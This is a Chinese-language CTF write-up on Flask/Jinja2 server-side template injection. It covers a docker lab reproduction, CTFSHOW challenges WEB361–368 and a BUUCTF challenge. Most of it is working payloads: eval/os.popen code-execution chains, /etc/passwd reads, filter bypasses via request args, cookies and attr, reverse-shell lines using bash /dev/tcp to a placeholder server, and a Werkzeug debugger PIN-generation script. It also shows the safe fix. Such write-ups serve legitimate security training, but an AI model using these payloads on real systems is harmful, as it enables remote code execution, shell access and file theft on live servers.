文章目录
环境搭建
- 首先利用docker搭建好环境
docker-compose up -d
docker ps
查看搭建的端口:8000
漏洞复现
- 开始复现
- flask-ssti漏洞以前有总结过 整理的不够好 今天重新整理一下
- 题目源码
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
- 模板是
jinja2
模板,学习链接jinja2 - 注入点
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
- 获取get传的name参数后 进行渲染 造成构造注入的漏洞
- 判断措施
name={{ 'aaa' | upper}}
- 页面回显 Hello AAA
- 利用漏洞 这里在前面的文章讲过了
- 官方漏洞利用
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
- 自己整理的 利用官方payload复现成功
python3
- python3 利用open函数去读取文件
#文件读取
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
- 或者利用被重载过的函数
.__init__
后带wrapper表示没有被重载 - 这里可以用个脚本跑一下 但是做题的时候 有些题目可能被阉割过 所以不能用脚本跑出的数据
num = -1
search = '__builtins__'
for c in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in c.__init__.__globals__.keys():
print(c, num)
except:
pass
- 脚本跑的结果 数字不能用 但是函数是可以用滴!
<class ‘_frozen_importlib._ModuleLock’> 80
<class ‘_frozen_importlib._DummyModuleLock’> 81
<class ‘_frozen_importlib._ModuleLockManager’> 82
<class ‘_frozen_importlib.ModuleSpec’> 83
<class ‘_frozen_importlib_external.FileLoader’> 94
<class ‘_frozen_importlib_external._NamespacePath’> 95
<class ‘_frozen_importlib_external._NamespaceLoader’> 96
<class ‘_frozen_importlib_external.FileFinder’> 98
<class ‘zipimport.zipimporter’> 105
<class ‘zipimport._ZipImportResourceReader’> 106
<class ‘codecs.IncrementalEncoder’> 108
<class ‘codecs.IncrementalDecoder’> 109
<class ‘codecs.StreamReaderWriter’> 110
<class ‘codecs.StreamRecoder’> 111
<class ‘os._wrap_close’> 134
<class ‘os._AddedDllDirectory’> 135
<class ‘_sitebuiltins.Quitter’> 136
<class ‘_sitebuiltins._Printer’> 137
- 含有
__buitins__
就可以利用python的内建函数了 - 这里给几个payload
{{().__class__.__base__.__subclasses__[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
{% for c in ().__class__.__bases__[0].__subclasses__() %}{% if c.__name__=="catch_warnings" %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
python2
- payload
#读取密码
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
#写文件
#写文件
''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')
#OS模块
system
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
popen
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
#eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
#反弹shell
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/xxxx/9999 0>&1"')
- 如果将代码改成这样就不会造成模板注入了。
t = Template("Hello {{n}}")
return t.render(n=name)
CTFSHOW
WEB361
- payload
{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
WEB362
- 想用
os._wrap_close
类但是失败了 - 不知道过滤了啥
- WEB361的payload成功命令执行了
- 看看过滤了啥
name = request.args.get('name')
if name:
if re.search(r"2|3",name,re.I):
return ':('
- 这个过滤真的奇妙
- 顺便看了一下别人的payload
?name={{lipsum.__globals__.__getitem__("os").popen("cat /flag").read()}}
?name={{lipsum.__globals__['os'].popen('ls').read()}}
?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
- 第一个payload:
lipsum是flask框架下的内置函数吧 调用了一下 发现会随机生成文章
__getitem__是python的魔法函数,指定键后返回值
第一个payload与第二个payload差别就在于一个是自己指定了键’os’,一个是利用_getitem_()返回值- 第三个payload a.__class__也是个类<class ‘jinja2.runtime.Undefined’>
WEB363 过滤"" ‘’
- fuzz发现过滤了单引号双引号
- payload
?name={{a.__class__.__init__.__globals__[request.args.a].eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()
- 源码
from flask import Flask
from flask import request
from flask import render_template_string
import re
app = Flask(__name__)
@app.route('/')
def app_index():
name = request.args.get('name')
if name: if re.search(r"\'|\"",name,re.I):
return ':('
template = ''' {%% block body %%} <div class="center-content error"> <h1>Hello</h1> <h3>%s</h3> </div> {%% endblock %%} ''' % (request.args.get('name'))
return render_template_string(template)
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
- 另外的payload
?name={{lipsum.__globals__.__getitem__(request.args.a).popen(request.args.b).read()}}&a=os&b=cat /flag
?name={{lipsum.__globals__.__getitem__(request.args.a).eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()
?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()
过滤单引号和双引号可以通过request绕过
WEB364 过滤’’ “” args
- 和上面题目的差别在过滤了args
- 将上题的payload中的args改为cookies
- 然后Hackbar传cookie值
b=__import__('os').popen('cat ../flag').read(); a=__builtins__
WEB365 过滤 “” ‘’ args []
- payload:
?name={{lipsum.__globals__.__getitem__(request.args.a).popen(request.args.b).read()}}&a=os&b=cat /flag
?name={{lipsum.__globals__.__getitem__(request.args.a).eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()
- Hackbar传cookie值
b=__import__('os').popen('cat ../flag').read(); a=__builtins__
WEB366
- 进一步过滤了[],args,_
- payload:
?name={{(lipsum|attr(request.cookies.c)|attr(request.cookies.d)(request.cookies.a)).popen(request.cookies.b).read()}
d=__getitem__; a=os; b=cat /flag; c=__globals__
- 过滤 ‘’ ""可以通过request.args.a绕过
- 过滤args可以通过request.cookies.a绕过
- 过滤[]可以通过__getitem__()绕过
- 过滤_后,__getitem__无法直接调用,用attr绕过
WEB367
- payload:
?name={{(x|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e)}}
- cookies
a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()
WEB368
- 过滤了{{}}用{%%}控制语句代替
- payload:
{% print((x|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e))%}
Payload:?name={% print(((lipsum|attr(request.cookies.c))|attr(request.cookies.d)(request.cookies.a)).popen(request.cookies.b).read())%}
带上Cookie:a=os;b=cat /flag;c=__globals__;d=__getitem__
- cookie
a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()
BUUCTF
[GYCTF2020]FlaskApp
- 预期解 PIN码
- 生成PIN码需要知道6个值
- flask所登录的用户名。可以通过读取/etc/password知道
- modname 一般不变就是flask.app
- getattr(app, “name”, app.class.name)。python该值一般为Flask ,值一般不变
- flask库下app.py的绝对路径。在报错信息中可以获取此值为
- 当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address读取,eth0为当前使用的网卡
- docker机器id
对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件。
对于docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id
- 接下来写怎么获取上面的每个值
- payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}
- flaskweb❌1000:1000::/home/flaskweb:/bin/sh 用户名为flaskweb
- 值为flask.app
- 值为Flask
- 报错信息中有 例如输入
{{''.\__subclass\__()}}
值位/usr/local/lib/python3.7/site-packages/flask/app.py - payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}
- 值为:02:42:ac:10:ad:e6 转十进制:2485377871334
- payload
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}
- 值为:0b24cc4505e46d218654edfe0b570bab59967e457aa89fce9fc9b87c78b5c5ac
- 最后用佬写的exp去跑
import hashlib
from itertools import chain
probably_public_bits = [
'root'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485377871334',# str(uuid.getnode()), /sys/class/net/ens33/address
'0b24cc4505e46d218654edfe0b570bab59967e457aa89fce9fc9b87c78b5c5ac'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
- 我的PIN码值是:168-621-872
- 在页面输入{{’’._subclass_}}造成报错后 在报错页面输入PIN码就可以进入debug模式